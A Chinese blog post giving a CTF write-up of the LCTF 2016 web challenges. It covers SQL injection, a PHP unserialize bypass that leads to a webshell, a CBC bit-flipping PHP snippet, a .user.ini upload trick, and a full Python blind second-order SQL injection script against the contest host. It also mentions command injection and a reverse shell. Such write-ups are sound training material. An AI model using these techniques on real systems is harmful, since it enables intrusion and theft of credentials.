Skip to content

LCTF 2016 WEB Writeup

Posted in 每刻,知识分享

WEB

WEB50 签到题

首先登陆处有注入,报错盲打,猜了个表名和字段,就能得到密码。

登陆后要求你购买flag,抓包后修改flag数目为0,使用intruder爆破密码,即可得到最终flag

WEB150 我控几不主我及几啦

这题现在访问不了,不过没啥好说的,sqlmap跑出来的

WEB200 睡过了

这题真是excited,看到key可以加这种有语病的句子,瞬间想到了前段时间的CVE,通过+号绕过正则过滤,通过伪造成员属性数目绕过wakeup方法。具体分析见http://paper.seebug.org/39/

这样就能写一个文件获得webshell,进去后有open basedir的限制,在知识库上有一篇文章讲怎么绕过列目录的,在web根目录发现了flag(记得是)

WEB250 苏打学姐的网站

Img.php通过正则过滤使你不能读源码,之前有一道一样的过滤可以绕过。
绕过方法见这篇文章:http://www.yqxiaojunjie.com/index.php/archives/27/
ps.txt了!得到下一个关口。

web250

分析admin.php.txt可知,这是CBC翻转攻击,通过对已知的明文分组,再翻转特定的bit即可修改指定位。
对其中57和63位做修改即可。

<?php
$enc=base64_decode("cookie");//一开始返回的cookie内容
$enc[57] = chr(ord($enc[57]) ^ ord("5") ^ ord ("6"));
$enc[63] = chr(ord($enc[64]) ^ ord("4") ^ ord ("1"));
echo base64_encode($enc);
?>

Urlencode一下post过去即可得到下一关,上传关。
Fuzz了一下可以上传的后缀,感觉rar和ini比较特殊,看到ini瞬间想起来了以前phith0n师傅教导的方法,通过上传.user.ini来设定一个自动包含的文件来getshell,这样我先上传一个图片,内容是我的webshell,然后再上传.user.ini设定auto append file。访问上传目录下index.php即可获得webshell,在web根目录下发现flag

WEB300 HEADPIC

前面没啥说的,先通过ssrf,伪造host为本地再伪造地址即可成为本地用户。。

web300

然后再看首页

web3001

头像这里多出了一段字符
Base64解码后

i found that my account is too weak,so i make a trick,add something at the end of username<pre>$user=='admin******'?</pre>

很懵逼。后来出了提示二次注入&比较,就先看二次注入了。发现注册了xxx之后再注册xxx’ and ‘1’=’1头像就是xxx的头像,xxx’ and ‘1’=’0就没有头像,说明被再次带入了数据库查询。构造exp即可。Exp如下

#coding=utf-8

import requests

check_url = "http://web.l-ctf.com:55533/check.php"
user_url = "http://web.l-ctf.com:55533/ucenter.php"

dic = 'flagbcdehijkmnopqrstuvwxyz0123456789_'

proxy={'http':'127.0.0.1:8080'}

res = ''

for i in range(1,33):
    for j in dic:

        reg_data = {'user':'melody\'/**/and/**/(select/**/substr(pass,' + str(i) + ',1)/**/from/**/flag_admin_233/**/limit/**/0,1)=\'' + j + '\'/**/and/**/\'1\'=\'1',
                    'pass':'melody123',
                    'verify':'',
                    'typer':'1',
                    'register':'注册',        
                    }
        reg = requests.post(check_url, data=reg_data)

        get = requests.session()
        get_data = {'user':'melody\'/**/and/**/(select/**/substr(pass,' + str(i) + ',1)/**/from/**/flag_admin_233/**/limit/**/0,1)=\'' + j + '\'/**/and/**/\'1\'=\'1',
                    'pass':'melody123',
                    'verify':'',
                    'typer':'0',
                    'login':'登陆',       
                    }
        login = get.post(check_url, data=get_data)

        content = get.get(user_url)
        if content.content.find('data:image/jpeg;base64," />') == -1:
                res += j
                print res
                break

实在是太慢了。听说有人是用sleep跑的。。这不是作死吗。
跑出来账号密码,账号是admin密码解开md5是1admin2016.拿去登陆admin.php是不行的,猜测admin后有其他不可见字符,于是再看提示,比较操作,那可能性就只有这么几种了,user传入数组即可get flag…问问你们后端到底怎么比较的不是很懂。

WEB300 你一定不能来这

扫了一番目录,找到crossdomain.xml,源码审计,下载download.php是hash extender 扩展攻击。用的之前的poc写的。。太大了就不截图了网上攻击的手段很多,主要还是因为只要出现了www.rar就会下载www.rar,所以可以构造download.php+padding+www.rar即可。

源码download下来后就很显然是时间竞争了,每半个小时有一个人可以获得这个时间戳,然后附上1—10000之间的数字,再md5即可,burpsuite 100线程跑的也不算慢,最终可得flag

WEB500 盘加加

犹豫了一下还是把wp写了吧。。真是太难过了。
首先是如何获得钱,利用时间竞争,burpsuite开100个线程同时兑换33332积分瞬间变得巨富。然后就是命令注入,如图所示

在后面可以随便插命令,反弹shell过来后进行内网渗透,看到有个什么测试系统。History看到了个test.php的文件包含,通过error.log可以再次getshell,反弹个shell出来后就更坑爹了。。tmd怎么是个pwn啊。

pwn搞错了。。exp很简单,欸。。作大死了

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *